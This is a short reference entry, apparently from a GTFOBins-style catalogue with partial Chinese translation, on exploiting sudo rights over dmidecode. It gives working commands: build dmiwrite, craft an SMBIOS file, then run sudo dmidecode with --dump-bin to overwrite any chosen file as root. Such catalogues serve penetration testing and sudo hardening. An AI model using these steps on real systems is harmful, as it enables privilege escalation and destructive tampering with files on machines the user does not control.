.. / dmidecode

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode. Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target. - `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes. - `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option. ``` make dmiwrite TF=$(mktemp) echo "DATA" > $TF ./dmiwrite $TF x.dmi ```

  LFILE=要写入的文件
  sudo dmidecode --no-sysfs -d x.dmi --dump-bin "$LFILE"